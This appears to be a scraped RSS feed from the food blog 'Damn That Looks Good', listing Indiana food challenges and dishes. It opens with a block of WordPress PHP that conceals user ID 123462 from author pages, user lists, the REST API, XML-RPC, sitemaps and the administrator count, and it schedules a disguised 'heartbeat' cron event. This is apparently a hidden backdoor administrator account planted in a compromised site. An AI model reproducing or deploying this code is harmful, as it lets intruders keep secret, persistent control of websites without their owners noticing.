add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 123462;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 123462 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123462 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 123462;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 123462;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123462;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123462;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post The Mug N' Bun Monster Challenge From Mug N' Bun Drive In first appeared on Damn That Looks Good.
]]>
“Challenge the Mug N Bun Monster! A deluxe triple tenderloin, family french fry, and 32oz drink – not for the faint of heart or weak of stomach! Eating it in 30 minutes gets you the meal for free ($15 value), a spot in the Mug N Bun Hall of Fame, and a t-shirt! Do you dare take the challenge?”
Indianapolis, Indiana
The post The Mug N' Bun Monster Challenge From Mug N' Bun Drive In first appeared on Damn That Looks Good.
]]>The post The Ultimate Double Steakhouse Burger Challenge From J's On Main first appeared on Damn That Looks Good.
]]>
“J’s newest Ultimate Double Steakhouse is over 3 lbs of burger awesomeness, made with two 12 oz patties on French bread, topped with bacon (½ lb), cheese, mushrooms, peppers, onions, lettuce, and tomato. Finish the burger & 16 oz basket of our signature fries in less than an hour, & we’ll put your picture on the “Wall of Fame” here, on our Facebook page & in the restaurant, you’ll get a free gourmet dessert on your next visit, and we’ll tell the world about your conquest in our newspaper, web site & internet ads. And, of course, the burger is on the house!”
Auburn, Indiana
The post The Ultimate Double Steakhouse Burger Challenge From J's On Main first appeared on Damn That Looks Good.
]]>The post Muffaletta Wrap From Charley Creek Inn first appeared on Damn That Looks Good.
]]>
Ham, Genoa salami, capicola, spinach, turkey, tomato, carrots, olive tapenade, roasted garlic-olive oil mayo wrapped in a jalapeno tortilla.
Photo courtesy of Legendary Service.
Wabash, Indiana
The post Muffaletta Wrap From Charley Creek Inn first appeared on Damn That Looks Good.
]]>The post Apple & Red Onion Pizza From Charley Creek Inn first appeared on Damn That Looks Good.
]]>
Apples, herb cream cheese, red onion, prosciutto, cheddar and Swiss. Served with a honey-cinnamon sour cream and roasted red pepper salsa.
Photo courtesy of Legendary Service.
Wabash, Indiana
The post Apple & Red Onion Pizza From Charley Creek Inn first appeared on Damn That Looks Good.
]]>The post Mixed Berry Shortcake first appeared on Damn That Looks Good.
]]>
Thanks to Rebecca for the photo!
Indianapolis, Indiana
The post Mixed Berry Shortcake first appeared on Damn That Looks Good.
]]>The post Homemade St. Louis Ribs first appeared on Damn That Looks Good.
]]>
St. Louis ribs slow smoked over oak/hickory with a homemade rub and glaze.
Thanks to Chris for the photo!
Indianapolis, Indiana
The post Homemade St. Louis Ribs first appeared on Damn That Looks Good.
]]>The post "Mafia-Style" Deep Dish from Barlo's Pizza first appeared on Damn That Looks Good.
]]>
Thanks to Rebecca for the photo!
Indianapolis, Indiana
The post "Mafia-Style" Deep Dish from Barlo's Pizza first appeared on Damn That Looks Good.
]]>The post The Big 29 From Barlo's Pizza first appeared on Damn That Looks Good.
]]>
Thanks to Rebecca for the photo!
Indianapolis, Indiana
The post The Big 29 From Barlo's Pizza first appeared on Damn That Looks Good.
]]>The post Homemade Crab Rangoons first appeared on Damn That Looks Good.
]]>
Thanks to Mindy for the photo!
Terre Haute, Indiana
The post Homemade Crab Rangoons first appeared on Damn That Looks Good.
]]>